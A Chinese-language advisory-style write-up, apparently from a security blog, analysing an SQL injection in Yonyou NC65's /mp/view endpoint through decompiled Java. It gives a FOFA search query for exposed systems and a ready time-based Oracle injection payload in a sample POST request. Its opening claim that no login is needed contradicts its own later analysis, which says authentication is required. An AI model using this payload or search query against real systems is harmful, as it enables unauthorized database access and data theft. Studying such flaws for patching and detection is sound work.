用友NC /mp/view sql注入漏洞


漏洞简介

用友NC是用友网络科技股份有限公司研发的一款大型erp企业管理系统与电子商务平台,专为大中型企业提供企业管理解决方案。它集成了财务、供应链、生产、销售、采购、人力资源等多方面的功能,帮助企业实现数字化管理,提升运营效率。用友NC /mp/view 接口存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

先看漏洞通告描述

漏洞位置出现在 MpAction 的 view 方法里

public void view() throws PortalServiceException {
        HttpServletRequest req = this.getRequest();
        String systemCode = req.getParameter("pageName");
        if (StringUtils.isBlank(systemCode)) {
            systemCode = "MP";
            LfwLogger.warn("MpAction : param pageName is null, convert to MP ");
        }

        PtCredentialVO credential = this.getCredentialVO((String)null, systemCode);

用户可控参数 pageName 带入 getCredentialVO 方法

private PtCredentialVO getCredentialVO(String portletId, String systemCode) throws PortalServiceException {
        Integer sharelevel = 1;
        IUserVO userVO = ((PtSessionBean)LfwRuntimeEnvironment.getLfwSessionBean()).getUser();
        String userId = userVO.getUserid();
        PtCredentialVO credential = PintServiceFactory.getSsoQryService().getCredentials(userId, portletId, systemCode, sharelevel);

然后又带入 getCredentials 方法,这里需要注意的是有权限检测 LfwRuntimeEnvironment.getLfwSessionBean( ,因此这个漏洞需要登录后进行利用。

public PtCredentialVO getCredentials(String userId, String portletId, String className, Integer sharelevel) throws PortalServiceException {
        PtBaseDAO dao = new PtBaseDAO();

        try {
            PtSlotVO[] slots = this.getSlots(userId, portletId, className, sharelevel);
            if (slots != null && slots.length != 0) {

跟进 getSlots 方法

public PtSlotVO[] getSlots(String userId, String portletId, String className, Integer sharelevel) throws PortalServiceException {
        if (sharelevel == null) {
            sharelevel = 1;
        }

        StringBuffer slotWhere = new StringBuffer();
        slotWhere.append(" sharelevel = ");
        slotWhere.append(sharelevel == null ? 1 : sharelevel);
        if (null != sharelevel) {
            if (sharelevel == 0) {
                if (portletId != null && !portletId.trim().equals("")) {
                    slotWhere.append(" and portletid = '" + portletId + "' ");
                }

                if (userId != null && !userId.trim().equals("")) {
                    slotWhere.append(" and userid = '" + userId + "' ");
                }
            } else if (sharelevel == 1) {
                if (className != null && !className.trim().equals("")) {
                    slotWhere.append(" and classname = '" + className + "' ");
                }

在上面的 getCredentialVO 方法里,Integer sharelevel = 1; ,这里判断 className 非空且非null 就直接将其拼接在sql语句中了,造成sql注入漏洞。

漏洞复现

漏洞利用示例

POST /portal/pt/mp/view HTTP/1.1
Host: nc65.mrxn.net
Cookie: 你的cookie
Content-Type: application/x-www-form-urlencoded

pageName=1' AND 1337=DBMS_PIPE.RECEIVE_MESSAGE('any',3)--

手机扫码阅读

用友NC changeEvent SQL注入漏洞

时空智友企业流程化管控系统 getRemoteAddr 设计缺陷漏洞

评 论